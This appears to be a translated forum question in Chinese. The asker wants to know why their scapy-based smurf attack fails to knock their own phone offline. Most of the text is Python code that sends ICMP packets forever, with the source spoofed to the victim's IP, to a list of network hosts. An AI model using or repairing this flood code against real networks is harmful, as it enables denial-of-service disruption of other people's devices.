我一直在尝试对我的手机进行smurf攻击,我一直在使用python中的scapy创建欺骗性的ICMP pakcets与欺骗源作为我的手机。然后,我将这些数据包重复发送到网络上的所有计算机(IP列表send_icmp
)。但是,我的手机保持连接到互联网很好。怎么了?这是我的代码:
def smurf(victim):
for ip in send_icmp:
t = threading.Thread(target = __send_spoofed_icmp, args = (ip,victim))
t.daemon = True
t.start()
icmp_threads.append(t)
for t in icmp_threads:
t.join()
def __send_spoofed_icmp(ip,victim):
print("[+] Sending packets to "+ip)
packet = IP(src=victim,dst=ip)/ICMP()
while 1:
send(packet,verbose = 0)